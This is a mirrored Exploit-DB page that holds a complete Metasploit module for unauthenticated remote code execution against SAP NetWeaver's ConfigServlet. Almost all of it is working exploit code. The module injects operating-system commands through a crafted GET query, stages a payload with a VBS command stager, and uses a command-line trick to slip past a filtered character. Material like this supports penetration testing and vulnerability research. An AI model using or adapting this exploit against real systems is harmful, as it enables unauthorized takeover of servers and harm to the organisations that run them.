SAP ConfigServlet – Remote Payload Execution (Metasploit)

  • 作者: Andras Kabai
    日期: 2013-04-25
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/24996/
  • require 'msf/core'
    
    class Metasploit3 < Msf::Exploit
    	Rank = GreatRanking
    
    	include Msf::Exploit::Remote::HttpClient
    	include Msf::Exploit::CmdStagerVBS
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name'=> 'SAP ConfigServlet Remote Code Execution',
    			'Description' => %q{
    				This module allows remote code execution via operating system commands through
    				the SAP ConfigServlet without any authentication.
    			},
    			'Author'=>
    				[
    					'Dmitry Chastuhin', # Vulnerability discovery (based on the reference presentation)
    					'Andras Kabai' # Metasploit module
    				],
    			'License' => MSF_LICENSE,
    			'References'=>
    				[
    					[ 'URL', 'http://erpscan.com/wp-content/uploads/2012/11/Breaking-SAP-Portal-HackerHalted-2012.pdf']
    				],
    			'DisclosureDate' => 'Nov 01 2012', # Based on the reference presentation
    			'Platform' => 'win',
    			'Targets'=>
    				[
    					[
    						'Windows generic',
    						{
    							'Arch' => ARCH_X86
    						}
    					]
    				],
    			'DefaultTarget'=> 0,
    			'Privileged' => false
    			))
    
    		register_options(
    			[
    				Opt::RPORT(50000),
    				OptString.new('TARGETURI', [ true, 'Path to ConfigServlet', '/ctc/servlet'])
    			], self.class)
    	end
    
    	def check
    		uri = normalize_uri(target_uri.path, 'ConfigServlet')
    		res = send_evil_request(uri, "whoami", 20)
    		if !res
    			Exploit::CheckCode::Unknown
    		elsif res.body.include?("Process created")
    			Exploit::CheckCode::Vulnerable
    		else
    			Exploit::CheckCode::Safe
    		end
    	end
    
    	def exploit
    		print_status("#{rhost}:#{rport} - Exploiting remote system")
    		uri = normalize_uri(target_uri.path, 'ConfigServlet')
    
    		execute_cmdstager( { :linemax => 1500, :nodelete => true, :sap_configservlet_uri => uri })
    	end
    
    	def execute_command(cmd, opts)
    		commands = cmd.split(/&/)
    		commands.each do |command|
    			timeout = 20
    			if command.include?(".vbs") and command.include?(",")
    				# because the comma is bad character and the VBS stager contains commas it is necessary to "create" commas without directly using them
    				# using the following command line trick it is possible to echo commas into the right places
    				command.gsub!(",", "%i")
    				command = "cmd /c FOR /F \"usebackq tokens=2 delims=)\" %i IN (\`\"ping -n 1 127.0.0.1| findstr )\"\`) DO " + command
    			else
    				command = "cmd /c " + command
    			end
    			if command.include?("cscript")
    				# in case of bigger payloads the VBS stager could run for longer time as it needs to decode lot of data
    				# increaste timeout value when the VBS stager is called
    				timeout = 120
    			end
    			vprint_status("Attempting to execute: #{command}")
    			send_evil_request(opts[:sap_configservlet_uri], command, timeout)
    		end
    	end
    
    	def send_evil_request(uri, cmd, timeout)
    		begin
    			res = send_request_cgi(
    				{
    					'uri' => uri,
    					'method' => 'GET',
    					'query' => 'param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=' + Rex::Text.uri_encode(cmd)
    				}, timeout)
    
    			if !res
    				fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Exploit failed.")
    			end
    
    			if res.code != 200
    				vprint_error("#{rhost}:#{rport} - Output: #{res.body}")
    				fail_with(Exploit::Failure::UnexpectedReply, "#{rhost}:#{rport} - Exploit failed.")
    			end
    		rescue ::Rex::ConnectionError
    			fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the server.")
    		end
    
    		if not res.body.include?("Process created")
    			vprint_error("#{rhost}:#{rport} - Output: #{res.body}")
    			fail_with(Exploit::Failure::PayloadFailed, "#{rhost}:#{rport} - Exploit failed.")
    		end
    		return res
    	end
    end